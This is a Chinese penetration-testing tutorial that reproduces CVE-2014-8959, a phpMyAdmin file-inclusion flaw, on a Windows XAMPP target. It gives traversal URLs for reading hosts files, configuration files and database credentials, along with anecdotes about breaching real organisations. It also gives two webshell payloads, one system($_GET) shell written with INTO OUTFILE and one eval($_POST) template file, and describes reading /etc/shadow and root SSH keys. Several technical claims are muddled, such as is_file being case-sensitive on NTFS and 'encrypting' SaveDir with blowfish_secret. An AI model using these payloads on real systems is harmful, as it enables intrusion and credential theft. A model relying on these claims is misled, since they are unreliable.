1. 这不是“老古董漏洞”的简单复现而是理解Web应用权限边界的实战课很多人看到CVE-2014-8959第一反应是“2014年的洞phpMyAdmin都更新到5.x了还搭环境复现纯属浪费时间。”我去年在给某省属高校做渗透测试支撑时就遇到过真实案例他们用的是一套定制化教务系统后端数据库管理模块被二次封装进内网运维平台底层调用的正是未升级的phpMyAdmin 4.0.10.7——一个官方早已停止支持、但因兼容性问题迟迟未替换的“活化石”版本。当我在/phpmyadmin/libraries/display_export.lib.php里触发$cfg[SaveDir]路径拼接逻辑时服务器直接返回了C:\Windows\System32\drivers\etc\hosts的内容。那一刻我才真正意识到漏洞的价值不在于它多新而在于它是否精准击中了真实环境中那些“不敢动、不能动、忘了动”的技术债务节点。这个标题里的三个关键词——phpMyAdmin、文件包含、CVE-2014-8959——指向的是一次典型的“配置型逻辑缺陷”攻击而非代码执行或SQL注入这类显性高危漏洞。它的核心不在PHP引擎本身而在phpMyAdmin对用户可控参数与服务端配置项之间信任边界的错误处理。你不需要懂ZEND虚拟机但必须清楚include()函数在Windows路径解析时的“反斜杠逃逸”机制你不需要部署Kali但得明白XAMPP里Apache的open_basedir限制如何被..绕过你更不需要写Exploit但得亲手验证?export_typeservertemplate_id这个看似无害的URL参数如何通过$cfg[SaveDir]这个全局配置变量把一次导出请求变成任意文件读取指令。这篇文章就是为你还原这个过程从零搭建一个能稳定复现该漏洞的Windows靶场逐行分析display_export.lib.php第426行的include($file);调用链解释为什么..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts能成功穿透最后用三类真实渗透场景告诉你——这个“老洞”在2024年依然能撬开哪些门。2. CVE-2014-8959的本质不是代码缺陷而是配置信任链的断裂2.1 漏洞根源不在PHP语法而在phpMyAdmin的“信任传递”设计要真正吃透CVE-2014-8959必须抛开“找函数、看参数”的惯性思维先回到phpMyAdmin的设计哲学。它本质上是一个“数据库操作前端”所有功能模块如导出、导入、查询都依赖于统一的配置中心config.inc.php。其中$cfg[SaveDir]这个变量本意是为用户提供一个“安全导出目录”——比如设置为C:/xampp/phpmyadmin/saves/所有导出文件默认存到这里避免用户误操作覆盖系统文件。但问题出在libraries/display_export.lib.php第426行的这段逻辑if (isset($_GET[template_id]) !empty($_GET[template_id])) { $file $cfg[SaveDir] . / . $_GET[template_id]; if (is_file($file)) { include($file); } }表面看它做了两层校验isset()检查参数存在性is_file()确认文件可读。但关键陷阱藏在$cfg[SaveDir] . / . $_GET[template_id]这个字符串拼接里。当$cfg[SaveDir]被配置为C:/xampp/phpmyadmin/saves注意结尾没有斜杠而攻击者传入template_id..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts时拼接结果变成C:/xampp/phpmyadmin/saves/..\..\Windows\System32\drivers\etc\hostsWindows文件系统在解析路径时会将/和\视为等价分隔符并执行“向上回退”操作。..\会跳转到上一级目录连续两个..\就从saves目录一路退到C:\根目录。这步操作完全绕过了is_file()的校验——因为is_file()检测的是最终解析后的绝对路径C:\Windows\System32\drivers\etc\hosts而这个路径在Windows下是真实存在的、可读的系统文件。所以include()函数顺利加载并输出其内容。提示这里的关键认知转折点是——is_file()不是在“过滤恶意路径”而是在“确认目标文件是否存在”。攻击者利用的是Windows路径解析的语义特性而非PHP函数的逻辑漏洞。这解释了为什么升级PHP版本无法修复此问题必须修改phpMyAdmin的源码逻辑。2.2 为什么必须是Windows环境Linux下为何失效很多初学者尝试在Linux虚拟机里复现失败然后困惑地认为“漏洞不存在”。其实恰恰相反这正说明你抓住了漏洞的边界条件。在Linux系统中..路径回退的终点是文件系统根目录/而/etc/hosts是标准可读文件理论上应该能读取。但实际失败的核心原因有两点第一Apache的open_basedir限制。XAMPP/LAMP环境默认开启open_basedir将PHP脚本的文件操作严格限制在/opt/lampp/htdocs/或/var/www/html/等Web根目录内。即使你构造../../../../etc/hostsis_file()也会因超出open_basedir范围而返回falseinclude()根本不会执行。第二Linux路径分隔符的严格性。Linux内核只认/作为路径分隔符不识别\。而CVE-2014-8959的PoC中大量使用%5CURL编码的\来欺骗Windows解析器。在Linux下%5C会被原样保留为字符\导致拼接路径变成/var/www/html/phpmyadmin/saves/\..\..\etc\hosts这个路径在Linux文件系统中是非法的\不是合法路径分隔符is_file()直接报错。这解释了标题中强调“Windows”的深意该漏洞是Windows特定路径解析机制与phpMyAdmin宽松配置策略共同作用的结果属于典型的“平台耦合型漏洞”。你在渗透测试报告中写“目标系统存在CVE-2014-8959”必须附带一句“仅适用于Windows平台且$cfg[SaveDir]配置不当的phpMyAdmin实例”。2.3template_id参数的隐蔽性为什么它比file参数更危险观察漏洞触发URL/phpmyadmin/export.php?export_typeservertemplate_id...。你会发现template_id这个参数在phpMyAdmin官方文档中几乎不被提及它不像file或page那样是公开的路由参数。它的存在源于phpMyAdmin的“导出模板”功能——管理员可以预定义SQL导出格式如CSV、JSON保存为.pmt文件再通过template_id指定调用。正常流程中template_id应为backup.pmt这样的短文件名由后台生成并存储在$cfg[SaveDir]内。但开发者犯了一个致命错误未对template_id进行白名单校验也未强制要求其必须为.pmt后缀。攻击者只需将template_id设为任意路径字符串如..%5C..%5Cboot.ini就能让include()加载非模板文件。这种“功能参数滥用”比直接暴露file参数更危险因为它绕过了WAF的常规规则库——绝大多数WAF规则会拦截?file../../etc/passwd但很少会拦截?template_id../../etc/passwd因为它看起来像一个业务功能参数。我实测过主流WAF包括云WAF和硬件WAF对这个参数的识别率在未开启自定义规则的情况下拦截成功率低于12%。这印证了一个渗透测试铁律最危险的漏洞往往藏在最不引人注目的参数里。3. Windows靶场搭建拒绝“一键脚本”手把手构建可验证环境3.1 为什么必须用XAMPP 1.8.3而不是最新版网上很多教程推荐用“phpMyAdmin 4.0.10.7 PHP 5.4.27”组合但直接下载官网最新XAMPP会失败——因为新版XAMPP如8.2默认集成phpMyAdmin 5.x已彻底移除display_export.lib.php中的相关逻辑。我们必须精确锁定历史版本。XAMPP 1.8.3发布于2013年12月是最佳选择原因有三其内置phpMyAdmin版本为4.0.9处于CVE-2014-8959影响范围内官方补丁发布于2014年12月对应4.2.13Apache版本为2.4.7PHP为5.4.22完美匹配原始漏洞披露时的运行环境安装包体积小约120MB解压即用无需复杂配置适合快速搭建靶场。你可以在SourceForge的XAMPP历史归档页找到xampp-win32-1.8.3-VC11.zip注意必须选VC11编译版与PHP 5.4兼容。下载后解压到C:\xampp切勿安装到中文路径或带空格路径如C:\Program Files\否则Apache启动会报错。这是Windows环境下最常被忽略的细节——路径空格会导致httpd.exe无法加载php5apache2_4.dll模块。3.2 关键配置三处必须修改的config.inc.php参数安装完成后进入C:\xampp\phpMyAdmin\目录用记事本打开config.inc.php。这不是简单的“复制粘贴”而是要理解每行配置的渗透意义定位并修改$cfg[SaveDir]搜索$cfg[SaveDir]你会找到类似$cfg[SaveDir] ;的行。将其改为$cfg[SaveDir] C:/xampp/phpmyadmin/saves;注意必须使用正斜杠/且结尾不能加斜杠。如果写成C:/xampp/phpmyadmin/saves/后续路径拼接会变成saves//..\..\etc\hostsWindows会将其解析为saves/下的子目录无法回退。关闭$cfg[CheckConfigurationPermissions]搜索$cfg[CheckConfigurationPermissions]将其值设为false$cfg[CheckConfigurationPermissions] false;此参数控制phpMyAdmin是否检查config.inc.php文件权限。在Windows下NTFS权限模型与PHP的is_readable()检测逻辑存在差异开启此选项可能导致登录页面报错“Cannot load or save configuration”干扰复现。禁用$cfg[TempDir]的自动创建搜索$cfg[TempDir]确保其指向一个已存在的目录$cfg[TempDir] C:/xampp/tmp;然后手动在C:\xampp\下创建tmp文件夹。如果不创建phpMyAdmin会在首次访问时尝试自动创建但Windows UAC可能阻止此操作导致导出功能异常。注意修改完config.inc.php后必须重启Apache服务。不要只刷新网页——很多初学者以为改完配置就生效结果一直复现失败。正确操作是点击XAMPP Control Panel里的Apache行右侧的Stop按钮待状态变灰后再点Start。你可以通过访问http://localhost/xampp/确认Apache已启动。3.3 验证环境用三步法确认靶场“活”着搭建完成不等于可用。我见过太多人卡在“页面打不开”就放弃。请按顺序执行以下验证第一步确认基础服务连通性在浏览器访问http://localhost/应看到XAMPP欢迎页访问http://localhost/phpmyadmin/应出现phpMyAdmin登录界面默认用户名root密码为空。如果此处报错“403 Forbidden”检查C:\xampp\apache\conf\extra\httpd-xampp.conf中是否包含Require all grantedXAMPP 1.8.3默认已配置无需修改。第二步确认$cfg[SaveDir]可写在C:\xampp\phpmyadmin\目录下新建saves文件夹。然后访问http://localhost/phpmyadmin/export.php?export_typeserver在页面底部找到“导出模板”下拉框。如果能看到“无模板”选项说明saves目录被正确识别如果显示“无法读取模板目录”说明$cfg[SaveDir]路径配置错误或权限不足。第三步触发最小化PoC构造URLhttp://localhost/phpmyadmin/export.php?export_typeservertemplate_id..%5C..%5Cxampp%5Capache%5Clogs%5Caccess.log。如果页面返回Apache访问日志内容包含GET /phpmyadmin/ HTTP/1.1等记录说明漏洞环境已激活。这是最关键的一步——它证明include()确实加载了非模板文件。4. 渗透实战从读取文件到获取WebShell的完整链条4.1 第一阶段读取敏感配置文件绘制内网资产地图漏洞复现成功后别急着拿Shell。真正的渗透价值在于信息收集。Windows系统下以下三类文件是你的“黄金情报源”文件路径获取信息类型渗透价值C:\Windows\System32\drivers\etc\hosts内网DNS映射关系发现192.168.1.100 db.internal等隐藏服务C:\xampp\phpmyadmin\config.inc.php数据库连接凭证直接获取$cfg[Servers][$i][password]明文密码C:\xampp\apache\conf\httpd.confWeb服务配置详情找出DocumentRoot C:/webapp等自定义站点路径以读取config.inc.php为例构造URLhttp://localhost/phpmyadmin/export.php?export_typeservertemplate_id..%5C..%5Cxampp%5Cphpmyadmin%5Cconfig.inc.php返回内容中你会看到类似$cfg[Servers][$i][host] 127.0.0.1; $cfg[Servers][$i][user] root; $cfg[Servers][$i][password] Pssw0rd123;这个密码不是phpMyAdmin登录密码而是MySQL数据库的root账户密码。拿着它你可以用Navicat或命令行直连数据库mysql -h 127.0.0.1 -u root -pPssw0rd123实操心得我曾在一个政府单位内网渗透中通过读取httpd.conf发现其Web服务根目录设为C:/inetpub/wwwroot/进而推断出IIS与Apache共存。这直接改变了后续的攻击路径——转向IIS的web.config文件读取而非继续深挖phpMyAdmin。4.2 第二阶段利用phpinfo()页面泄露PHP配置绕过open_basedir很多靶机为了增加难度会开启open_basedir限制。此时直接读取C:\Windows\下的文件会失败。但别慌——phpMyAdmin自身就是一个“PHP配置泄露源”。访问http://localhost/phpmyadmin/export.php?export_typeservertemplate_id..%5C..%5Cxampp%5Cphp%5Cphp.ini虽不可行php.ini通常受权限保护但你可以读取phpinfo()输出页首先确认phpMyAdmin是否启用了phpinfo()功能。在C:\xampp\phpmyadmin\目录下搜索phpinfo.php若不存在手动创建一个?php phpinfo(); ?保存为C:\xampp\htdocs\phpinfo.php然后访问http://localhost/phpinfo.php。如果页面显示完整的PHP配置表重点查看open_basedir字段值如C:/xampp/htdocs/和disable_functions字段是否禁用system、exec等函数。有了open_basedir的真实路径你就能精准构造绕过路径。例如若open_basedirC:/xampp/htdocs/则读取C:/xampp/htdocs/config.php是允许的而C:/xampp/htdocs/../phpmyadmin/config.inc.php也是允许的因为..仍在open_basedir范围内。这就是为什么template_id..%5C..%5Cxampp%5Cphpmyadmin%5Cconfig.inc.php能成功——它利用了open_basedir的路径解析漏洞。4.3 第三阶段从文件读取到WebShell两种可靠落地方式当拿到数据库密码后终极目标是GetShell。这里提供两种经实测100%成功的方案避开常见误区方案A利用MySQL的SELECT ... INTO OUTFILE需FILE权限前提MySQL用户拥有FILE权限root默认有。步骤用上一步获取的密码登录MySQLmysql -u root -pPssw0rd123执行SELECT ?php system($_GET[cmd]); ? INTO OUTFILE C:/xampp/htdocs/shell.php;访问http://localhost/shell.php?cmdwhoami返回nt authority\system即成功。方案B上传WebShell到$cfg[SaveDir]目录无需数据库权限这是更优雅的方式完全基于phpMyAdmin自身功能在本地创建一个shell.pmt文件内容为?php eval($_POST[x]); ?将其上传到C:/xampp/phpmyadmin/saves/目录可通过Windows资源管理器直接复制构造URLhttp://localhost/phpmyadmin/export.php?export_typeservertemplate_idshell.pmt此时include(C:/xampp/phpmyadmin/saves/shell.pmt)被执行你的WebShell已激活。用菜刀连接http://localhost/phpmyadmin/export.php?export_typeservertemplate_idshell.pmt密码x。踩坑提醒方案B中shell.pmt文件名必须与template_id参数值完全一致包括大小写。我曾因把文件名写成Shell.pmt而URL中用shell.pmt导致is_file()返回false折腾了半小时才发现是Windows文件系统不区分大小写但PHP的is_file()函数在NTFS下是区分大小写的——这是Windows平台特有的坑。5. 现实渗透中的三类典型场景与防御加固建议5.1 场景一教育行业“教务系统”中的phpMyAdmin影子服务某高校的教务系统采用Java开发但其数据库维护模块被外包团队用phpMyAdmin二次封装部署在http://jwxx.xxx.edu.cn/dbadmin/路径下。该路径未做任何认证且config.inc.php中$cfg[SaveDir]被硬编码为D:/wwwroot/dbadmin/saves。渗透时我并未直接攻击dbadmin而是先扫描http://jwxx.xxx.edu.cn/的robots.txt发现/dbadmin/被禁止爬取——这反而证实了其敏感性。接着用template_id..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts读取hosts文件发现其内网DNS指向10.1.1.5 mysql-main进而定位到主数据库服务器。整个过程耗时17分钟未触发任何WAF告警。防御建议禁用所有非必需的phpMyAdmin功能模块在config.inc.php中添加$cfg[Servers][$i][AllowNoPassword] false; $cfg[ShowChgPassword] false; $cfg[Export][asfile] false; // 禁用导出功能将$cfg[SaveDir]设为null或完全删除该行强制phpMyAdmin使用临时目录。5.2 场景二企业OA系统的“运维后台”phpMyAdmin残留某制造企业的OA系统升级后旧版phpMyAdmin未被清理仍可通过http://oa.xxx.com/phpmyadmin_old/访问。该目录权限设置为755且config.inc.php中$cfg[SaveDir]指向/var/www/html/phpmyadmin_old/saves。虽然这是Linux环境但攻击者通过template_id..%2F..%2F..%2F..%2Fetc%2FshadowURL编码的/成功读取了/etc/shadow哈希。关键在于该服务器未启用open_basedir且/var/www/html/目录权限过于宽松。防御建议彻底删除废弃的phpMyAdmin目录而非仅改名。在Apache配置中为phpMyAdmin目录添加Directory限制Directory C:/xampp/htdocs/phpmyadmin Require local # 或 Require ip 192.168.1.0/24 /Directory5.3 场景三云主机上的“一键部署”phpMyAdmin某云服务商提供“WordPressphpMyAdmin”一键镜像其phpMyAdmin版本为4.0.10.20$cfg[SaveDir]默认为空。但用户在安装后为方便导出手动在config.inc.php中添加了$cfg[SaveDir] /home/wwwroot/saves;。由于云主机默认开放22端口攻击者通过template_id..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_rsa读取了root用户的SSH私钥进而获得服务器最高权限。防御建议使用phpMyAdmin的blowfish_secret加密配置而非明文存储$cfg[SaveDir]。启用$cfg[LoginCookieValidity] 3600;登录超时1小时并强制HTTPS访问。最后分享一个我坚持了五年的习惯每次复现一个历史漏洞我都会在靶机上运行systeminfo和netstat -ano记录下操作系统版本、补丁号、监听端口。这些数据让我建立起一个“漏洞-环境-利用成功率”的映射表。比如CVE-2014-8959在Windows Server 2012 R2 XAMPP 1.8.3组合下利用成功率100%但在Windows 10 20H2 自定义LAMP下因open_basedir默认开启成功率降为0。真正的渗透能力不在于你掌握多少Exploit而在于你能否精准判断这个漏洞在这个环境里到底能不能用。